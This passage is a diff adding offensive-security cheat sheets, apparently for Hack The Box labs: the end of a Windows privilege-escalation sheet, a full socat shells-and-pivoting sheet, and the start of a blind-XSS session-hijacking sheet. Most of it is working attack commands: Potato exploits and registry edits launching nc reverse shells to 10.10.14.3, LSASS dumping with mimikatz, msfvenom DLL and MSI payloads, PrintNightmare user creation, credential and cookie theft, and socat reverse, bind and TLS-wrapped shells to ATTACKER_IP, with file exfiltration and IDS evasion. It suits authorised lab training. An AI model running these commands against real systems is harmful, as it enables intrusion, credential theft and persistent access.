+> 2. **Restore every config you touch** (service `binPath`, registry `ImagePath`, `ServerLevelPluginDll`) — leaving a `net localgroup /add` binPath is a live backdoor.
+> 3. DPAPI-protected creds (Clixml, SharpChrome, Chrome cookies) only decrypt as the **originating** user — don't exfil blobs you can't use in scope.
+
+> [!tip]+ Live command libraries
+> - **[WADComs](https://wadcoms.github.io/)** — filterable command reference for Windows and Active Directory techniques, tools and credential states.
+> - **[LOLBAS](https://lolbas-project.github.io/)** — searchable catalogue of trusted Windows binaries, scripts and libraries with execution, download, upload, bypass and credential-related functions.
+> - **[GTFOBins](https://gtfobins.org/)** — Linux/Unix companion when the path crosses into WSL, containers or another Unix host.
+>
+> Presence is not a privilege-escalation finding by itself. Confirm the binary path, arguments, integrity level, token privileges, ACLs, application-control policy and network reachability required by the selected technique.
+
+```mermaid
+%%{init: {'theme':'base','themeVariables':{'background':'#191724','primaryColor':'#26233a','primaryTextColor':'#e0def4','primaryBorderColor':'#c4a7e7','lineColor':'#9ccfd8','secondaryColor':'#1f1d2e','tertiaryColor':'#31748f'}}}%%
+flowchart LR
+ A["whoami /priv + /groups\nsysteminfo"] --> B["winPEAS / PowerUp\nSeatbelt / WES-NG"]
+ B --> C{"Vector?"}
+ C --> D["Token: SeImpersonate\nSeDebug / SeBackup"]
+ C --> E["Group: DnsAdmins\nBackup/Server Operators"]
+ C --> F["Service / registry\nweak ACL / unquoted"]
+ C --> G["Creds hunt · UAC bypass\n· kernel CVE"]
+ D --> H["SYSTEM / admin"]
+ E --> H
+ F --> H
+ G --> H
+```
+
+---
+
+## 1 · Situational awareness
+
+```batch
+:: Identity & privileges — run these first
+:: SeImpersonate, SeDebug, or SeBackup may be the shortest route.
+whoami /priv
+whoami /groups
+whoami /all
+query user & echo %USERNAME%
+net user & net localgroup & net localgroup administrators & net accounts
+
+:: Processes, services and network context
+tasklist /svc
+:: Loopback listeners reveal local-only services; interfaces/routes reveal pivots.
+netstat -ano
+ipconfig /all & arp -a & route print
+```
+
+```powershell
+# OS/build, patches and installed applications (avoid Win32_Product side effects)
+Get-ComputerInfo | Select-Object WindowsProductName, WindowsVersion, OsBuildNumber, OsArchitecture
+Get-HotFix | Sort-Object InstalledOn -Descending | Format-Table -AutoSize
+$uninstall = 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*',
+ 'HKLM:\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*'
+Get-ItemProperty $uninstall -ErrorAction SilentlyContinue |
+ Where-Object DisplayName |
+ Sort-Object DisplayName |
+ Select-Object DisplayName, DisplayVersion, Publisher
+
+# Security controls and listening sockets
+Get-MpComputerStatus | Select-Object AntivirusEnabled, RealTimeProtectionEnabled
+Get-AppLockerPolicy -Effective | Select-Object -ExpandProperty RuleCollections
+Get-NetTCPConnection -State Listen | Sort-Object LocalPort |
+ Select-Object LocalAddress, LocalPort, OwningProcess
+```
+
+> [!tip]+ Automated enumeration (upload to `C:\Windows\Temp` — `BUILTIN\Users` writable)
+>
+> **winPEAS** (`winPEASx64.exe`) · **PowerUp** (`Invoke-AllChecks`) · **SharpUp** (`SharpUp.exe audit`) · **Seatbelt** · **WES-NG** (`systeminfo` → CVE) · **Watson** (missing KBs) · **LaZagne** (`lazagne.exe all`) · **SessionGopher** · **Sysinternals** (AccessChk, PipeList). Baseline standard user = only `SeChangeNotifyPrivilege` — anything more is a lead.
+
+---
+
+## 2 · Token privilege abuse
+
+**`SeImpersonate` / `SeAssignPrimaryToken` → the Potato family** (common from service accounts / `xp_cmdshell`):
+```batch
+:: JuicyPotato — pre-1809 only (DCOM/NTLM reflection)
+JuicyPotato.exe -l 53375 -p c:\windows\system32\cmd.exe -a "/c c:\tools\nc.exe 10.10.14.3 8443 -e cmd.exe" -t *
+
+:: PrintSpoofer — modern builds (coerces Print Spooler)
+PrintSpoofer.exe -c "c:\tools\nc.exe 10.10.14.3 8443 -e cmd"
+```
+> [!info]+ Which potato?
+> `[environment]::OSVersion.Version` first. **JuicyPotato** dead ≥ Server 2019/Win10 1809. **PrintSpoofer / RoguePotato** = Spooler/OXID. **GodPotato** = broadest (Server 2012–2022, Win8–11, no Spooler) — try first if others fail. Catch with `nc -lnvp 8443`.
+
+**`SeDebugPrivilege` → dump LSASS / steal a SYSTEM token:**
+```batch
+procdump.exe -accepteula -ma lsass.exe lsass.dmp
+```
+```text
+mimikatz # sekurlsa::minidump lsass.dmp
+mimikatz # sekurlsa::logonpasswords
+```
+```powershell
+# RCE as SYSTEM by parenting off a SYSTEM process (winlogon PID 612) — trailing "" required
+.\psgetsys.ps1; [MyProcess]::CreateProcessFromParent((Get-Process "winlogon").Id,"c:\Windows\System32\cmd.exe","")
+```
+
+**`SeTakeOwnershipPrivilege` → own any file** (two steps — `takeown` then grant):
+```powershell
+takeown /f 'C:\Department Shares\Private\IT\cred.txt'
+icacls 'C:\Department Shares\Private\IT\cred.txt' /grant htb-student:F
+cat 'C:\Department Shares\Private\IT\cred.txt'
+```
+Targets: `web.config`, `%WINDIR%\repair\{sam,system}`, `%WINDIR%\system32\config\*`, `.kdbx`.
+
+**`SeBackupPrivilege` / Backup Operators → NTDS.dit + hives:**
+
+Create `C:\Tools\shadow.dsh`:
+
+```text
+set context persistent nowriters
+add volume C: alias cdrive
+create
+expose %cdrive% E:
+```
+
+```batch
+diskshadow.exe /s C:\Tools\shadow.dsh
+robocopy /B E:\Windows\NTDS C:\Tools\ntds ntds.dit
+reg save HKLM\SYSTEM C:\Tools\SYSTEM.SAV /y
+reg save HKLM\SAM C:\Tools\SAM.SAV /y
+```
+
+```powershell
+# SeBackupPrivilegeCmdLets alternative after importing the module
+Copy-FileSeBackupPrivilege E:\Windows\NTDS\ntds.dit C:\Tools\ntds.dit
+```
+```bash
+impacket-secretsdump -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL
+```
+
+**`SeLoadDriverPrivilege` / Print Operators → Capcom.sys** (dead since Win10 1803):
+```batch
+reg add HKCU\System\CurrentControlSet\CAPCOM /v ImagePath /t REG_SZ /d "\??\C:\Tools\Capcom.sys"
+reg add HKCU\System\CurrentControlSet\CAPCOM /v Type /t REG_DWORD /d 1
+EnableSeLoadDriverPrivilege.exe
+ExploitCapcom.exe
+```
+
+---
+
+## 3 · Privileged built-in groups
+
+**DnsAdmins → malicious DLL loaded by the DNS service (as SYSTEM):**
+```bash
+msfvenom -p windows/x64/exec cmd='net group "domain admins" netadm /add /domain' -f dll -o adduser.dll
+python3 -m http.server 7777
+```
+```batch
+:: full path is mandatory
+dnscmd.exe /config /serverlevelplugindll C:\Users\netadm\Desktop\adduser.dll
+sc stop dns & sc start dns
+net group "Domain Admins" /dom
+:: cleanup: reg delete the ServerLevelPluginDll value before restarting
+```
+
+**Server Operators → hijack a service binPath:**
+```batch
+sc qc AppReadiness
+sc config AppReadiness binPath= "cmd /c net localgroup Administrators server_adm /add"
+:: Error 1053 may be expected; verify the command side effect.
+sc start AppReadiness
+net localgroup Administrators
+```
+
+**Event Log Readers → creds in 4688 process-creation events:**
+```powershell
+wevtutil qe Security /rd:true /f:text | Select-String "/user"
+```
+
+**Hyper-V Administrators** → `vmms.exe` restores `.vhdx` perms as SYSTEM (CVE-2018-0952 / CVE-2019-0841): `takeown` a SYSTEM-startable service binary (e.g. Mozilla Maintenance) → replace → `sc start`.
+
+---
+
+## 4 · UAC bypass
+
+```batch
+:: Am I a filtered admin? UAC state?
+:: Compare High Mandatory Level with Medium Mandatory Level.
+whoami /groups
+REG QUERY HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA
+REG QUERY HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin
+```
+```powershell
+[environment]::OSVersion.Version # build → pick the UACMe technique (14393 = 1607 → #54)
+```
+DLL-hijack bypass (UACMe #54): drop `srrstr.dll` into user-writable `...\AppData\Local\Microsoft\WindowsApps\` (last in PATH), then trigger the auto-elevating `C:\Windows\SysWOW64\SystemPropertiesAdvanced.exe`. Reference catalogue: **UACMe** (`fodhelper`, `eventvwr`, `computerdefaults`, etc.).
+
+---
+
+## 5 · Weak service & registry permissions
+
+```batch
+:: Enumerate weak service control permissions
+SharpUp.exe audit
+:: AccessChk: -c service, -w write, -k registry key
+accesschk.exe /accepteula -uwcqv "Everyone" *
+accesschk.exe /accepteula -quvcw <ServiceName>
+
+:: Lab proof for a weak service ACL — record and restore the original binPath
+sc qc <ServiceName>
+sc config <ServiceName> binpath= "cmd /c net localgroup administrators htb-student /add"
+:: Error 1053 may be expected; verify the intended side effect.
+sc stop <ServiceName> & sc start <ServiceName>
+
+:: Find writable service registry keys
+accesschk.exe /accepteula "<user>" -kvuqsw hklm\System\CurrentControlSet\services
+```
+
+```powershell
+# Unquoted auto-start service paths; verify write access to each path component
+Get-CimInstance Win32_Service |
+ Where-Object { $_.StartMode -eq 'Auto' -and $_.PathName -match '\s' -and $_.PathName -notmatch '^"' } |
+ Select-Object Name, StartName, State, PathName
+
+# Weak registry ACL exploitation — record ImagePath before changing it
+Get-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\<Svc> -Name ImagePath
+Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\<Svc> -Name "ImagePath" -Value "C:\...\nc.exe -e cmd.exe 10.10.10.205 443"
+```
+
+> [!warning]+ Restore and verify
+> Export the original service configuration first. After a lab proof, restore `binPath`/`ImagePath`, startup type, and service state; then confirm the executable path and ACLs match the baseline.
+
+PowerUp helpers: `Get-ModifiableServiceFile`, `Get-ServiceUnquoted`, `Get-ModifiableRegistryAutoRun`, `Install-ServiceBinary`. (CVE-2019-1322 UsoSvc.)
+
+---
+
+## 6 · Kernel exploits & missing patches
+
+```batch
+systeminfo > systeminfo.txt
+```
+
+```powershell
+Get-HotFix | Sort-Object InstalledOn -Descending
+```
+
+```bash
+# Run WES-NG from the attack host against the captured systeminfo output
+python3 wes.py --update
+python3 wes.py systeminfo.txt --impact 'Elevation of Privilege'
+```
+
+| CVE / Bulletin | Name | Tool |
+|---|---|---|
+| CVE-2021-36934 | HiveNightmare/SeriousSam | `HiveNightmare.exe` (needs a VSS snapshot) |
+| CVE-2021-1675 / 34527 | PrintNightmare | `Invoke-Nightmare` |
+| CVE-2020-0668 | Service Tracing file-move | `CVE-2020-0668.exe` (chain w/ DLL load) |
+| MS16-032 | Secondary Logon | `Invoke-MS16-032` |
+| MS10-092 | Task Scheduler | `ms10_092_schelevator` |
+| MS17-010 / MS08-067 | EternalBlue / RPC | (legacy) |
+
+```powershell
+# HiveNightmare — any user if BUILTIN\Users:(I)(RX) on SAM
+.\HiveNightmare.exe
+# → impacket-secretsdump -sam SAM-* -system SYSTEM-* -security SECURITY-* local
+
+# PrintNightmare
+Import-Module .\CVE-2021-1675.ps1
+Invoke-Nightmare -NewUser "hacker" -NewPassword "Pwnd1234!" -DriverName "PrintIt"
+```
+
+---
+
+## 7 · DLL hijacking & vulnerable third-party software
+
+```powershell
+# Identify app versions without querying Win32_Product
+Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*',
+ 'HKLM:\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*' |
+ Where-Object DisplayName |
+ Select-Object DisplayName, DisplayVersion, InstallLocation
+Get-Service | Where-Object DisplayName -Like 'Druva*'
+Get-NetTCPConnection -State Listen | Where-Object LocalPort -eq <port>
+```
+Discovery: ProcMon filter `Operation is Load Image` + `Result is NAME NOT FOUND`; static `dumpbin /imports`; PowerUp `Find-ProcessDLLHijack` / `Find-PathDLLHijack`. Then plant a DLL in a writable, earlier-searched dir (the app's own directory is searched first). **DLL proxying** preserves functionality (rename real → `library.o.dll`, forward exports). Loopback RPC services running as SYSTEM (e.g. Druva inSync on 6064) can be command-injected for a SYSTEM shell.
+
+---
+
+## 8 · Credential hunting & pillaging
+
+```batch
+:: Stored credentials, saved sessions and common plaintext locations
+cmdkey /list
+:: If an approved saved credential exists: runas /savecred /user:DOMAIN\bob "cmd"
+findstr /SIM /C:"password" *.txt *.ini *.cfg *.config *.xml
+
+:: Registry autologon and PuTTY proxy settings
+:: Review DefaultUserName and DefaultPassword values.
+reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
+reg query HKCU\SOFTWARE\SimonTatham\PuTTY\Sessions\<session>
+
+:: Unattended-install and Sysprep answer files
+dir /s /b C:\Windows\Panther\Unattend*.xml 2>nul
+dir /s /b C:\Windows\System32\Sysprep\*.xml 2>nul
+
+:: Wi-Fi profiles
+netsh wlan show profile <SSID> key=clear
+```
+
+```powershell
+# PowerShell history and same-user DPAPI-protected CliXML
+Get-Content (Get-PSReadLineOption).HistorySavePath
+$credential = Import-Clixml -Path 'C:\scripts\pass.xml'
+$credential.GetNetworkCredential().Password
+
+# Browsers / vaults / managers
+.\SharpChrome.exe logins /unprotect
+.\lazagne.exe all
+Import-Module .\SessionGopher.ps1
+Invoke-SessionGopher -Target <host>
+# KeePass: keepass2john ILFREIGHT.kdbx → hashcat -m 13400
+# mRemoteNG: %APPDATA%\mRemoteNG\confCons.xml → mremoteng_decrypt.py -s "<blob>" (default master 'mR3m')
+```
+Cookie theft (bypasses MFA): `Invoke-SharpChromium -Command "cookies slack.com"` (Slack cookie name `d`). Share crawling: **Snaffler**. Mount disks: `guestmount -a disk.vmdk -i --ro /mnt` → `impacket-secretsdump -sam SAM -security SECURITY -system SYSTEM LOCAL`.
+
+---
+
+## 9 · Attacking users, LOLBAS & misc
+
+```bash
+# Force auth from a browsing user, crack NTLMv2
+sudo responder -wrf -v -I tun0
+hashcat -m 5600 hash /usr/share/wordlists/rockyou.txt
+```
+Bait files in a writable share: `.scf` (pre-2019) or `.lnk` with `TargetPath = \\<attacker>\@pwn.png` (Server 2019+). Use [LOLBAS](https://lolbas-project.github.io/) to verify the exact function and prerequisites for a native binary; one download example is `certutil.exe -urlcache -split -f http://10.10.14.3:8080/shell.bat shell.bat`.
+
+**AlwaysInstallElevated** (needs **both** HKCU + HKLM `= 0x1`):
+```batch
+reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
+reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
+```
+```bash
+msfvenom -p windows/shell_reverse_tcp lhost=10.10.14.3 lport=9443 -f msi > aie.msi
+```
+```batch
+msiexec /i c:\users\htb-student\desktop\aie.msi /quiet /qn /norestart
+```
+
+**CVE-2019-1388** (patched Nov 2019): run `hhupd.exe` as admin → *Show publisher certificate* → click the **Issued by** hyperlink → browser opens as SYSTEM → View source → Save As → type `c:\windows\system32\cmd.exe` = SYSTEM shell.
+
+**Named pipes:** `pipelist.exe /accepteula` / `gci \\.\pipe\` → `accesschk.exe -w \pipe\<name> -v`; a writable SYSTEM-owned pipe + `SeImpersonate` = token theft.
+
+**Citrix/kiosk breakout:** type `\\127.0.0.1\c$\users\<user>` or `\\<attacker>\share` in a File-name dialog; right-click `.exe` → Open; shortcut Target → `cmd.exe`.
+
+---
+
+## 10 · Scheduled tasks & autoruns
+
+Start with task identity, trigger, run level, executable, arguments, and working directory. A task is only exploitable when a low-privilege user can alter something a higher-privilege principal executes.
+
+```batch
+:: Inventory tasks and export one task as XML for exact paths/arguments
+schtasks /query /fo LIST /v
+schtasks /query /tn "\Vendor\Updater" /xml
+
+:: Enumerate startup extensibility with Microsoft Sysinternals
+autorunsc64.exe -accepteula -a * -m -s -h -t
+```
+
+```powershell
+# Triage scheduled tasks without mixing CMD syntax into this block
+Get-ScheduledTask | ForEach-Object {
+ $info = $_ | Get-ScheduledTaskInfo
+ [pscustomobject]@{
+ Task = $_.TaskPath + $_.TaskName
+ Principal = $_.Principal.UserId
+ RunLevel = $_.Principal.RunLevel
+ Actions = ($_.Actions.Execute + " " + $_.Actions.Arguments).Trim()
+ NextRun = $info.NextRunTime
+ }
+} | Format-Table -Wrap
+
+# Common per-user and machine autorun locations
+Get-CimInstance Win32_StartupCommand | Select-Object Name, Command, User, Location
+Get-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run*" -ErrorAction SilentlyContinue
+Get-ItemProperty "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run*" -ErrorAction SilentlyContinue
+```
+
+```batch
+:: Check every directory in the action path, plus the final file
+icacls "C:\Program Files\Vendor\Updater"
+icacls "C:\Program Files\Vendor\Updater\update.exe"
+accesschk64.exe -accepteula -qvw "C:\Program Files\Vendor\Updater\update.exe"
+accesschk64.exe -accepteula -qvw "C:\Scripts"
+```
+
+> [!warning]+ Validate safely
+> Record the original task XML, executable hash, owner, and ACLs. Prefer a reversible proof such as writing a timestamp to a lab-only file; do not replace production binaries. Restore the artifact and verify its hash and permissions afterward.
+
+---
+
+## CVE quick index
+
+| CVE / Bulletin | Vector | Tool |
+|---|---|---|
+| CVE-2021-36934 | SAM readable (HiveNightmare) | `HiveNightmare.exe` |
+| CVE-2021-1675 / 34527 | PrintNightmare | `Invoke-Nightmare` |
+| CVE-2016-0099 (MS16-032) | Secondary Logon | `Invoke-MS16-032` |
+| CVE-2010-3338 (MS10-092) | Task Scheduler | `ms10_092_schelevator` |
+| CVE-2020-0668 | Service Tracing move | `CVE-2020-0668.exe` |
+| CVE-2019-1388 | UAC cert dialog | `hhupd.exe` (manual) |
+| CVE-2018-0952 / 2019-0841 | Hyper-V Admins VHD | service-binary swap |
+| CVE-2019-1322 | UsoSvc weak perms | `sc config` |
+
+---
+
+## Lessons Learned & gotchas
+
+1. **`whoami /priv` first, every time** — SeImpersonate/SeDebug/SeBackup are the shortest path to SYSTEM.
+2. **A failed `sc start` (1053) is not a failed exploit** — the `binPath` command already ran; check the side effect.
+3. **Match the potato to the build** — JuicyPotato is dead ≥1809; GodPotato is broadest, try it first.
+4. **Two-step take-own** — `takeown` then `icacls /grant`; `cat` fails until the ACL grant runs.
+5. **Restore what you change** — service `binPath`, registry `ImagePath`, `ServerLevelPluginDll`; leaving them is a backdoor and a broken service.
+6. **DPAPI creds are user-bound** — Clixml, SharpChrome, Chrome cookies only decrypt as the originating user; re-run credential hunts after each escalation (new profiles become readable).
+7. **Many "classics" are patched** — Capcom (1803), CVE-2019-1388 (Nov 2019), SCF NTLM capture (2019). Confirm the build/patch level before committing.
+
+## References
+
+1. [HTB Academy — Windows Privilege Escalation](https://academy.hackthebox.com/module/details/67)
+2. [PayloadsAllTheThings — Windows PrivEsc](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md)
+3. [Microsoft — Autoruns and Autorunsc](https://learn.microsoft.com/en-us/sysinternals/downloads/autoruns) · [Microsoft — schtasks](https://learn.microsoft.com/en-us/windows/win32/taskschd/schtasks)
+4. [PowerSploit/PowerUp](https://github.com/PowerShellMafia/PowerSploit) · [WES-NG](https://github.com/bitsadmin/wesng) · [UACMe](https://github.com/hfiref0x/UACME)
+5. [LOLBAS](https://lolbas-project.github.io/) · [WADComs](https://wadcoms.github.io/) · [HackTricks — Windows Local Privilege Escalation](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation)
+6. [GTFOBins — Linux/Unix companion](https://gtfobins.org/)
diff --git a/src/content/sheets/tunneling-pivoting/socat.md b/src/content/sheets/tunneling-pivoting/socat.md
@@ -0,0 +1,224 @@
+---
+title: "Socat"
+description: "Socat recipes for bind/reverse shells, TCP/UDP relays, TLS-wrapped tunnels, port forwarding and file transfer."
+category: tunneling-pivoting
+tags: ["tunneling-pivoting", "relay", "pivoting", "tunneling"]
+tools: ["Nmap", "Metasploit", "Meterpreter", "socat", "OpenSSL"]
+difficulty: intermediate
+updated: "2026-08-28"
+source: "vault:Tools/Socat-Cheatsheet.md"
+---
+# Socat — Cheat Sheet
+
+## Summary
+
+`socat` (SOcket CAT) is a bidirectional relay that connects any two data channels, sockets, files, pipes, PTYs, TLS tunnels, and processes, and pumps bytes between them. In offensive work it earns its place three ways: as a hardened catcher for reverse and bind shells (including fully interactive PTYs), as an encrypted transport that survives IDS inspection, and as a dependency-free redirector for pivoting when SSH is not available on the foothold. This sheet is a fast lookup for the exact command shapes, with the small flags that make the difference between a dumb shell and a stable one.
+
+> [!danger]+ Authorisation Boundary
+>
+> 1. Use only against **Hack The Box**, lab, or explicitly authorised targets.
+> 2. Shells and relays cross network boundaries. Stay in scope and remove listeners, relays, and dropped binaries when finished.
+
+---
+
+## Conceptual Information
+
+### Address syntax
+
+Every socat invocation is `socat [options] <address1> <address2>`. socat opens both addresses and shuttles data between them. An address is a type plus comma-separated options, for example `TCP4-LISTEN:4444,fork,reuseaddr`.
+
+| Address type | Meaning |
+|---|---|
+| `TCP4-LISTEN:PORT` | Listen for an inbound TCP connection |
+| `TCP4:HOST:PORT` | Make an outbound TCP connection |
+| `UDP4-LISTEN:PORT` / `UDP4:H:P` | UDP equivalents |
+| `EXEC:'cmd',...` | Run a program and wire its stdio to the other address |
+| `FILE:` `` `tty` ``,raw,echo=0 | Attach the operator's own terminal |
+| `OPENSSL:H:P` / `OPENSSL-LISTEN:P` | TLS-wrapped connection |
+| `STDIO` / `-` | Standard input/output |
+
+| Common option | Effect |
+|---|---|
+| `fork` | Handle each new connection in a child, so the listener survives disconnects |
+| `reuseaddr` | Rebind the port immediately without waiting out TIME_WAIT |
+| `pty` | Allocate a pseudo-terminal for the executed program |
+| `stderr` | Merge the program's stderr into the channel |
+| `setsid` | Run in a new session so job control and signals behave |
+| `sigint,sane` | Forward Ctrl-C and reset sane terminal settings |
+| `raw,echo=0` | Put the local terminal in raw mode with no local echo |
+
+> [!info]+ [socat](http://www.dest-unreach.org/socat/doc/socat.html) Overview
+>
+> A multipurpose relay for bidirectional byte streams between two independent channels.
+> 1. Needs no SSH daemon or credentials on a pivot host, only the ability to run the binary.
+> 2. Wraps shells in a real PTY, giving arrow keys, tab-completion, and job control that plain `nc` cannot.
+> 3. Speaks TLS natively, so shell traffic can be encrypted end to end.
+
+---
+
+## Reverse Shells
+
+The target connects back to you. Best when the target can reach out but you cannot reach in.
+
+```bash
+# Attacker: listener that hands the connection to your own terminal
+socat -d -d TCP4-LISTEN:4444,fork,reuseaddr FILE:`tty`,raw,echo=0
+```
+
+```bash
+# Target: connect back with an interactive bash PTY
+socat TCP4:ATTACKER_IP:4444 EXEC:'bash',pty,stderr,setsid,sigint,sane
+```
+
+> [!info]+ Command Breakdown
+>
+> 1. `-d -d` raises verbosity so you see connection events, handy while debugging.
+> 2. `FILE:`` `tty` ``,raw,echo=0` binds your live terminal in raw mode, this is what makes the caught shell fully interactive.
+> 3. `EXEC:'bash',pty,stderr,setsid,sigint,sane` on the target spawns bash inside a PTY, forwards stderr, starts a new session, and keeps Ctrl-C and terminal settings sane.
+
+> [!success]+ Why this beats nc
+>
+> 1. You get a real TTY: tab-completion, `su`/`sudo` prompts that need a terminal, `vi`, and job control all work.
+> 2. No need for the manual `python3 -c 'pty.spawn'` upgrade dance.
+
+---
+
+## Bind Shells
+
+The target listens, you connect in. Best when the target accepts inbound connections but cannot call out.
+
+```bash
+# Target: listen and serve a bash PTY to whoever connects
+socat TCP4-LISTEN:4444,fork,reuseaddr EXEC:'bash',pty,stderr,setsid,sigint,sane
+```
+
+```bash
+# Attacker: connect and attach your terminal
+socat FILE:`tty`,raw,echo=0 TCP4:TARGET_IP:4444
+```
+
+> [!info]+ Command Breakdown
+>
+> 1. The listen/exec sides are simply swapped compared with the reverse shell.
+> 2. `fork` keeps the target listener alive across reconnects, drop it for a strict one-shot.
+
+---
+
+## Encrypted Shells (TLS)
+
+Wrap the whole shell in TLS so an IDS sees only opaque ciphertext. Generate a cert once, then use `OPENSSL` addresses on both ends.
+
+```bash
+# Attacker: generate a self-signed cert + key, bundle to a .pem
+openssl req -newkey rsa:2048 -nodes -keyout shell.key -x509 -days 362 -out shell.crt \
+ -subj "/CN=update.local"
+cat shell.key shell.crt > shell.pem
+```
+
+```bash
+# Attacker: TLS listener
+socat -d -d OPENSSL-LISTEN:4444,cert=shell.pem,verify=0,fork FILE:`tty`,raw,echo=0
+```
+
+```bash
+# Target: TLS connect-back with a PTY bash
+socat OPENSSL:ATTACKER_IP:4444,verify=0 EXEC:'bash',pty,stderr,setsid,sigint,sane
+```
+
+> [!warning]+ Encryption notes
+>
+> 1. `verify=0` disables certificate validation, fine for a lab, but it means no protection against interception. Use pinned certs for anything real.
+> 2. TLS-wrapped shells defeat signature-based network detection that keys on plaintext shell prompts and commands.
+> 3. Only the `.pem` (key + cert) is needed on the listener side, the target just needs to trust-skip with `verify=0`.
+
+---
+
+## Redirection & Pivoting
+
+socat as a relay: forward a port on a pivot host on to somewhere the attacker cannot reach directly. No SSH required.
+
+```bash
+# On the pivot: forward every inbound 8080 connection on to the attacker's 80
+socat TCP4-LISTEN:8080,fork TCP4:10.10.14.18:80
+```
+
+```bash
+# On the pivot: forward inbound 8080 to an internal host's bind port 8443
+socat TCP4-LISTEN:8080,fork TCP4:172.16.5.19:8443
+```
+
+> [!info]+ Command Breakdown
+>
+> 1. `TCP4-LISTEN:8080,fork` accepts many concurrent connections on the pivot, `fork` is essential for more than one.
+> 2. For a **reverse** shell through a pivot, point the payload's `LHOST` at the *pivot's* internal IP, socat completes the hop to your listener.
+> 3. For a **bind** shell through a pivot, point the Metasploit handler's `RHOST` at the *pivot*, socat completes the hop to the target's listener.
+
+> [!example]+ Metasploit through a socat redirector
+>
+> ```bash
+> # reverse_https payload aimed at the pivot, socat relays to your real handler
+> msfvenom -p windows/x64/meterpreter/reverse_https LHOST=172.16.5.129 LPORT=8080 \
+> -f exe -o backupscript.exe
+> # handler on the attack host
+> # set payload windows/x64/meterpreter/reverse_https ; set lhost 0.0.0.0 ; set lport 80 ; run
+> ```
+
+---
+
+## File Transfer
+
+```bash
+# Receiver (attacker): write incoming bytes to a file
+socat -u TCP4-LISTEN:9000,reuseaddr OPEN:loot.tar,creat
+
+# Sender (target): stream a file out
+socat -u FILE:/tmp/loot.tar TCP4:ATTACKER_IP:9000
+```
+
+> [!tip]+ Transfer flags
+>
+> 1. `-u` is unidirectional (address1 to address2 only), the natural fit for a one-way copy.
+> 2. `OPEN:file,creat` creates the destination, add `,append` to concatenate.
+> 3. TLS file transfer is the same with `OPENSSL`/`OPENSSL-LISTEN` addresses.
+
+---
+
+## Getting socat onto a Target
+
+> [!tip]+ When socat is not installed
+>
+> 1. Check first with a filter-safe probe, e.g. `which socat` (split the name if a word filter is in play: `'w'h'i'ch${IFS}socat`).
+> 2. Grab a [statically compiled socat binary](https://github.com/andrew-d/static-binaries) and drop it via your existing RCE or file-transfer channel, then `chmod +x`.
+> 3. If neither works, fall back to `ncat --ssl --sh-exec` (ships with Nmap) for a comparable encrypted shell.
+
+---
+
+## Quick Reference
+
+| Goal | Attacker | Target |
+|---|---|---|
+| Reverse shell | `socat -d -d TCP4-LISTEN:4444,fork FILE:`` `tty` ``,raw,echo=0` | `socat TCP4:IP:4444 EXEC:'bash',pty,stderr,setsid,sigint,sane` |
+| Bind shell | `socat FILE:`` `tty` ``,raw,echo=0 TCP4:IP:4444` | `socat TCP4-LISTEN:4444,fork EXEC:'bash',pty,stderr,setsid,sigint,sane` |
+| Encrypted rev | `socat OPENSSL-LISTEN:4444,cert=shell.pem,verify=0,fork FILE:`` `tty` ``,raw,echo=0` | `socat OPENSSL:IP:4444,verify=0 EXEC:'bash',pty,...` |
+| Port redirect | `socat TCP4-LISTEN:8080,fork TCP4:INTERNAL:PORT` (on pivot) | connect to pivot:8080 |
+| File pull | `socat -u TCP4-LISTEN:9000 OPEN:loot,creat` | `socat -u FILE:loot TCP4:IP:9000` |
+
+---
+
+## Lessons Learned
+
+1. `FILE:`` `tty` ``,raw,echo=0` on your side plus `EXEC:'bash',pty,stderr,setsid,sigint,sane` on the target is the canonical fully-interactive shell, memorise it.
+2. `fork` on any listener is what lets it survive reconnects, forgetting it gives you exactly one shot per run.
+3. TLS (`OPENSSL`) shells encrypt traffic end to end and slip past plaintext signatures, a cheap evasion upgrade over `nc`.
+4. For pivoting, the relay direction flips between reverse and bind shells: for reverse, socat sits between target and your listener, for bind, between your handler and the target's listener.
+5. socat needs no SSH or credentials on the pivot, only the ability to execute the binary, which makes it ideal after a limited RCE or web shell.
+
+---
+
+## References
+
+1. [socat man page](http://www.dest-unreach.org/socat/doc/socat.html)
+2. [HTB Academy — Pivoting, Tunneling and Port Forwarding](https://academy.hackthebox.com/module/details/158)
+3. [static-binaries — prebuilt socat](https://github.com/andrew-d/static-binaries)
+4. [Ncat Users' Guide](https://nmap.org/ncat/guide/index.html)
+5. [GTFOBins — socat](https://gtfobins.github.io/gtfobins/socat/)
diff --git a/src/content/sheets/web/blind-xss-to-session-hijacking.md b/src/content/sheets/web/blind-xss-to-session-hijacking.md
@@ -0,0 +1,465 @@
+---
+title: "Blind XSS to Session Hijacking"
+description: "Chaining blind XSS to session hijacking: out-of-band callbacks, cookie/session theft, exfiltration and account takeover."
+category: web
+tags: ["web", "xss", "session-hijacking"]
+tools: []
+difficulty: advanced
+updated: "2026-08-28"
+source: "vault:Web/Blind XSS to Session Hijacking - HTB Cheat Sheet.md"
+---
+# Blind XSS to Session Hijacking — HTB Cheat Sheet
+
+## Summary
+
